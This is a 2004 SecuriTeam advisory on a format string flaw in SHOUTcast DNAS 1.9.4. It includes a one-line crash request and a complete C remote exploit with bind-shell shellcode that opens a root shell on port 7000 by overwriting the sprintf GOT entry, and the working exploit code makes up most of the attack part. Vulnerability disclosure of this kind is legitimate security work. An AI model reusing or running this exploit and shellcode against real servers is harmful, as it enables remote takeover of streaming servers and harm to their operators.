Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	SHOUTcast Remote Format String Vulnerability 27 Dec. 2004    Summary SHOUTcast is "Nullsoft's Free WinAMP-based distributed streaming audio system. Thousands of broadcasters around the world are waiting for you to tune in and listen". A format string vulnerability in SHOUTcast allows remote attackers to cause the program to execute arbitrary code.   Credit: The information has been provided by Damian Put. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * SHOUTcast version 1.9.4 Remote exploitation of a format string vulnerability could allow execution of arbitrary code. A part of request, which was sent by attacker to server, would be included in second arg of sprintf() function (0x0804adc3 in Linux binary). It is obviously not good from a security viewpoint. We can crash SHOUTcast in a very easy way, using following request: http://host:8000/content/%n.mp3 Or reach remote shell thanks to attached exploit's code. Exploit: /* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */ /* Damian Put <pucik@cc-team.org> Cyber-Crime Team (www.CC-Team.org) */ /* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */ /* When exploit only crash SHOUTcast we should calculate new address: */ /* */ /* bash-2.05b$ gdb sc_serv core */ /* ... */ /* (gdb) x/x $edi */ /* 0xbe462270: 0x78257825 */ /* (gdb) x/x 0xbe462270-996 */ /* 0xbe461e8c: 0x5050c031 */ /* */ /* 0xbe461e8c - This is our shellcode addr */ /* */ /* Now we "only" must change format string code in req2 :-) */ #include <stdio.h> #include <stdlib.h> #include <sys/errno.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h>   /* Default SHOUTcast port */ #define PORT 8000     char shellcode[] = //bindshellcode (port 7000)       "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"       "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"       "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"       "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"       "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"       "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"       "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"       "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";     int main(int argc, char *argv[]) {       int sock;       char *host;       struct hostent *h;       struct sockaddr_in dest;              char req1[1024] = "GET /content/AA"       /* sprintf GOT addr */       "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";              strcat(req1, shellcode);       strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");              /* We cannot use %numberx and %number$n (filtered) */       /* 0xbf3feee0 - shellcode addr on slackware 9.1 */       char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"       " HTTP/1.0\r\n\r\n";                     printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");       if(argc < 2)       {             printf("Usage: %s <host>\n", argv[0]);             exit(0);       }              host = argv[1];              if(!(h = gethostbyname(host)))       {             fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));             exit(-1);       }       sock = socket(PF_INET, SOCK_STREAM, 0);              dest.sin_addr=*((struct in_addr*)h->h_addr);       dest.sin_family = PF_INET;       dest.sin_port = htons(PORT);              if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)       {             fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));             exit(-1);       }              printf("[*] Sending first request ...\n");       write(sock, req1, strlen(req1));              close(sock);              sock = socket(PF_INET, SOCK_STREAM, 0);              if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)       {             fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));             exit(-1);       }              printf("[*] Sending second request ...\n");       write(sock, req2, strlen(req2));       close(sock);              printf("[*] Try telnet %s 7000 :)\n", host);              return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2011 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®